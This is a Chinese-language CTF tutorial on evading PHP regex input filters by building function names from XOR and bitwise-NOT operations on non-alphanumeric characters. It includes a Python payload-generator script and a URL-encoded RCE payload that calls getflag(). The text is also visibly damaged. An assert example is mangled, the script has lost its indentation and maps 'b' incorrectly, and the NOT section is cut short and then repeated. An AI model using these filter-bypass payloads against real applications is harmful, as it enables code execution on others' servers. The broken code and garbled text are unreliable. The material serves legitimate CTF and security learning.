取反绕过和异或绕过php正则表达式
基础知识
PHP5和PHP7的区别
- PHP5中,assert()是一个函数,我们可以用 = a s s e r t ; _=assert; =assert;_()这样的形式来执行代码。但在PHP7中,assert()变成了一个和eval()一样的语言结构,不再支持上面那种调用方法。(不过貌似这点存疑,我在PHP7.1中确实不允许再使用这种调用方法了,但是网上有人貌似在PHP7.0.12下还能这样调用,可能是7.1及以上不行??)
- PHP5中,是不支持($a)()这种调用方法的,但在PHP7中支持这种调用方法,因此支持这么写(‘phpinfo’)();
PHP中的短标签
PHP中有两种短标签,<??>和<?=?>。
其中,<??>相当于对<?php>的替换。
而<?=?>则是相当于<? echo>。例如:<?= '111'?>
将会输出’111’ 大部分文章说短标签需要在php.ini中设置short_open_tag为on才能开启短标签(默认是开启的,但似乎又默认注释,所以还是等于没开启)。但实际上在PHP5.4以后,无论short_open_tag是否开启,<?=?>这种写法总是适用的,<??>这种写法则需要short_open_tag开启才行。
异或绕过
引入
在CTF的一些RCE题目中,可能会对传入的参数进行过滤,当题目过滤了字母和数字甚至其他一些符号时,可以尝试使用异或绕过的方式尝试去绕过。
何为异或
异或(XOR,Exclusive OR)是一种逻辑运算,用于对两个二进制位进行比较。其规则如下:
- 当两个输入位相同时,输出为 0(假);
- 当两个输入位不同时,输出为 1(真)。
在计算机中,字母和数字都是用 ASCII(或 Unicode)编码存储的,而 异或(XOR)是按位运算,所以当两个字符的二进制表示进行异或时,可能会得到一个新的有效 ASCII 字符
使用条件
当题目过滤了字母和数字的同时,没有过滤掉下划线“_”,就可以使用。
这是因为当我们构造好payload后,直接把payload赋值给参数是不行的,需要先把payload赋值给一个变量,再将这个变量的值赋给参数才行,又因为题目过滤了字母和数字,所以只能使用变量“$_”,当下划线也被过滤的时,变量将无名可取,即没有变量可用,也无法进行异或构造payload绕过。
实战步骤
根据题目中的提示,已知我们要执行eval(getflag()),且题目中过滤了字母和数字,但是没有过滤下划线,所以我们可以利用异或绕过
1.使用脚本
这个示例脚本的作用就是将我们输入的一个字母字符串中每个字母字符,是通过哪两个特殊字符异或生成的过程,输出出来。
word = input("Input word:")
payload = """"""
for i in word:
if i == "a":
payload += '("!"^"@").'
elif i == "b":
payload += '("!"^"@").'
elif i == "c":
payload += '("#"^"@").'
elif i == "d":
payload += '("$"^"@").'
elif i == "e":
payload += '("%"^"@").'
elif i == "f":
payload += '("&"^"@").'
elif i == "g":
payload += '("\'"^"@").'
elif i == "h":
payload += '("("^"@").'
elif i == "i":
payload += '(")"^"@").'
elif i == "j":
payload += '("*"^"@").'
elif i == "k":
payload += '("+"^"@").'
elif i == "l":
payload += '(","^"@").'
elif i == "m":
payload += '("-"^"@").'
elif i == "n":
payload += '("."^"@").'
elif i == "o":
payload += '("/"^"@").'
elif i == "p":
payload += '("/"^"_").'
elif i == "q":
payload += '("/"^"^").'
elif i == "r":
payload += '("."^"\\").'
elif i == "s":
payload += '("-"^"^").'
elif i == "t":
payload += '("/"^"[").'
elif i == "u":
payload += '("("^"]").'
elif i == "v":
payload += '("("^"^").'
elif i == "w":
payload += '("("^"_").'
elif i == "x":
payload += '("&"^"^").'
elif i == "y":
payload += '''("'"^"^").'''
elif i == "z":
payload += '("&"^"\\").'
elif i == "A":
payload += '("!"^"`").'
elif i == "B":
payload += '("<"^"~").'
elif i == "C":
payload += '("#"^"`").'
elif i == "D":
payload += '("$"^"`").'
elif i == "E":
payload += '("%"^"`").'
elif i == "F":
payload += '("&"^"`").'
elif i == "G":
payload += '(":"^"}").'
elif i == "H":
payload += '("("^"`").'
elif i == "I":
payload += '(")"^"`").'
elif i == "J":
payload += '("*"^"`").'
elif i == "K":
payload += '("+"^"`").'
elif i == "L":
payload += '(","^"`").'
elif i == "M":
payload += '("-"^"`").'
elif i == "N":
payload += '("."^"`").'
elif i == "O":
payload += '("/"^"`").'
elif i == "P":
payload += '("@"^"~").'
elif i == "Q":
payload += '("-"^"|").'
elif i == "R":
payload += '("."^"|").'
elif i == "S":
payload += '("("^"{").'
elif i == "T":
payload += '("("^"|").'
elif i == "U":
payload += '("("^"}").'
elif i == "V":
payload += '("("^"~").'
elif i == "W":
payload += '(")"^"~").'
elif i == "X":
payload += '("#"^"{").'
elif i == "Y":
payload += '("$"^"{").'
elif i == "Z":
payload += '("$"^"~").'
else:
payload += i
print("payload:\n"+payload)
输入
getflag()
得到
("'"^"@").("%"^"@").("/"^"[").("&"^"@").(","^"@").("!"^"@").("'"^"@").()
2.将payload进行url编码
因为有些字符在浏览器中不会被手动编码,所以这里我们必须进行手动编码。
3.将payload赋值给一个变量
因为如果直接将编码后的payload赋值给参数是无法执行的
要先将编码后的payload赋值给一个变量,再将这个变量的值赋给这个参数才行
code = 一个变量 =payload(url编码后);变量名();
这里?code=$_=(%22'%22%5E%22%40%22).(%22%25%22%5E%22%40%22).(%22%2F%22%5E%22%5B%22).(%22%26%22%5E%22%40%22).(%22%2C%22%5E%22%40%22).(%22!%22%5E%22%40%22).(%22'%22%5E%22%40%22).();$_();
总结
当字母和数字被过滤,但是下划线没有被过滤的时候,我们就可以考虑使用异或绕过正则表达式的匹配。
取反绕过
引入
在由于对传入参数值的长度有限制或过滤了下划线等原因无法利用异或绕过时,可以尝试使用取反绕过。
何为取反
- 取反运算(~) 会对每个比特位进行翻转(
0
→1
,1
→0
)。 - 在PHP中,
~"字符串"
会返回该字符串的取反形式。 - 可以用于构造被过滤的关键字。
使用条件
波浪号~没有被过滤掉,因为取反绕过是通过使用“字符串”的形式返回到新的字符串,当被禁用时,也自然无法进行取反了。
参考文章
)。
- 在PHP中,
~"字符串"
会返回该字符串的取反形式。 - 可以用于构造被过滤的关键字。
使用条件
波浪号~没有被过滤掉,因为取反绕过是通过使用“字符串”的形式返回到新的字符串,当被禁用时,也自然无法进行取反了。